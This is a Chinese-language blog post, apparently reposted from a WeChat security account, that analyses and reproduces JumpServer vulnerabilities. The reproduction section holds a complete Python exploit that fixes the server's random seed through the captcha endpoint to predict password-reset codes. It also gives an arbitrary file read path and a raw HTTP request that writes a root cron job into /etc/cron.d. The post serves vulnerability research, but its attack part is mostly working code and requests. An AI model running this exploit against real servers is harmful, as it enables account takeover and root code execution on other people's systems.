0x01 前言
0x02 漏洞分析
验证码可预测导致密码重置
简单来说,这个漏洞的根本原因是随机数种子被泄露,后续生成随机数所使用的种子都是这个泄露的种子,由于随机数生成算法的确定性,只要种子一样,每次生成的随机数就是一致的。也就是说,导致这个漏洞的关键是种子泄露了,使得每个用户生成的随机数序列都一模一样,破坏了随机性。再看一眼下面的结果相信兄弟们就都明白了。
第一处:
可以看到是在captcha_image被调用的。
任意文件读取/写入
根据playbook管理功能点接口搜索”playbook/”追踪,发现当访问这个路由的时候会进入PlaybookFileBrowserAPIView。
0x03 漏洞复现
密码重置
p佬已经写好的脚本代码(最近看到一个脚本把获取token那一步也自动化了)
import requests
import logging
import sys
import random
import string
import argparse
from urllib.parse import urljoin
logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
string_punctuation = '!#$%&()*+,-.:;<=>?@[]^_~'
def random_string(length: int, lower=True, upper=True, digit=True, special_char=False):
args_names = ['lower', 'upper', 'digit', 'special_char']
args_values = [lower, upper, digit, special_char]
args_string = [string.ascii_lowercase, string.ascii_uppercase, string.digits, string_punctuation]
args_string_map = dict(zip(args_names, args_string))
kwargs = dict(zip(args_names, args_values))
kwargs_keys = list(kwargs.keys())
kwargs_values = list(kwargs.values())
args_true_count = len([i for i in kwargs_values if i])
assert any(kwargs_values), f'Parameters {kwargs_keys} must have at least one `True`'
assert length >= args_true_count, f'Expected length >= {args_true_count}, bug got {length}'
can_startswith_special_char = args_true_count == 1 and special_char
chars = ''.join([args_string_map[k] for k, v in kwargs.items() if v])
while True:
password = list(random.choice(chars) for i in range(length))
for k, v in kwargs.items():
if v and not (set(password) & set(args_string_map[k])):
# 没有包含指定的字符, retry
break
else:
if not can_startswith_special_char and password[0] in args_string_map['special_char']:
# 首位不能为特殊字符, retry
continue
else:
# 满足要求终止 while 循环
break
password = ''.join(password)
return password
def nop_random(seed: str):
random.seed(seed)
for i in range(4):
random.randrange(-35, 35)
for p in range(int(180 * 38 * 0.1)):
random.randint(0, 180)
random.randint(0, 38)
def fix_seed(target: str, seed: str):
def _request(i: int, u: str):
logging.info('send %d request to %s', i, u)
response = requests.get(u, timeout=5)
assert response.status_code == 200
assert response.headers['Content-Type'] == 'image/png'
url = urljoin(target, '/core/auth/captcha/image/' + seed + '/')
for idx in range(10):
_request(idx, url)
def send_code(target: str, email: str, reset_token: str):
url = urljoin(target, "/api/v1/authentication/password/reset-code/?token=" + reset_token)
response = requests.post(url, json={
'email': email,
'sms': '',
'form_type': 'email',
}, allow_redirects=False)
assert response.status_code == 200
logging.info("send code headers: %r response: %r", response.headers, response.text)
def main(target: str, email: str, seed: str, token: str):
fix_seed(target, seed)
nop_random(seed)
send_code(target, email, token)
code = random_string(6, lower=False, upper=False)
logging.info("your code is %s", code)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Process some integers.')
parser.add_argument('-t', '--target', type=str, required=True, help='target url')
parser.add_argument('--email', type=str, required=True, help='account email')
parser.add_argument('--seed', type=str, required=True, help='seed from captcha url')
parser.add_argument('--token', type=str, required=True, help='account reset token')
args = parser.parse_args()
main(args.target, args.email, args.seed, args.token)
正常输入用户名进入下一步到如下界面,复制token。
右键”在新标签中打开图片”,获取一个key也就是种子。
根据实际情况调整请求次数,覆盖所有进程为同一个随机数种子,然后填入token、seed、email、ip运行脚本即可。
之后输入得到的验证码提交即可进入设置新密码流程。
任意文件读取
创建一个playbook模板,获取id。
抓包获取前缀路径拼接playbook/[uuid:pk]/file/?key=/etc/cron.d/test即可读取任意文件。
任意文件写入
修改请求参数,key与name拼接形成路径,content为写入的内容,发包即可修改任意文件内容。
POST /api/v1/ops/playbook/60a94b33-ae22-4af7-a9ba-2b94220776d3/file/ HTTP/1.1
Host: 192.168.110.209
X-CSRFToken: KONtfk71te76xqJdQkvmz1Sz1gkR8y0g
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Type: application/json
Origin: http://192.168.110.209
Referer: http://192.168.110.209/ui/
Cookie: SESSION_COOKIE_NAME_PREFIX=jms_; jms_public_key="LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FDMk5wM3ZKM2l0eDBoRUcrbnU5dGM1a0hGRQpQUEVQT3AyVC9zbFlsM0hzRGJwL1BZNjVrQlkrVDh5NFZtWDBHQTl5S20yRDJZNEJtT1dxd0FBUCtBL2RndTNrClNNVlNHcFFRZEl3UFRJdTl4L3NEVHIySncvQ1BhNUtnNUlKYnJSRTh1UVF4ME1FMEtLU0JMZHVRcGRDRkEyNzkKVjZaNlAyRmViaVlHU0x2bzFRSURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQ=="; jms_session_expire=close; jms_csrftoken=KONtfk71te76xqJdQkvmz1Sz1gkR8y0g; jms_sessionid=m4ipcdywsc1w78mxlx0gv0fa5j97jyqw; X-JMS-ORG=00000000-0000-0000-0000-000000000002; activeTab=Workspace
Connection: close
Content-Length: 108
{
"key": "/etc/cron.d",
"name": "test",
"content": "*/2 * * * * root touch /tmp/111.txt"
}
利用任意文件读取查看是否写入成功。
0x04 总结
在复现漏洞时也要多思考,不要一味的复现或者直接定位到vuln位置看一眼就过,要以挖掘0day的视角来全面思考和分析整个漏洞发现过程,不然没有任何意义,如果之前你也挖过相同的系统,那你为什么没有挖到而别人挖到了,是挖掘经验和思路的问题还是基础不扎实还是不够细心等等问题,总结一下,哪里不足补哪里。
原文始发于微信公众号(小黑说安全):Jumpserver漏洞分析/复现全记录
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论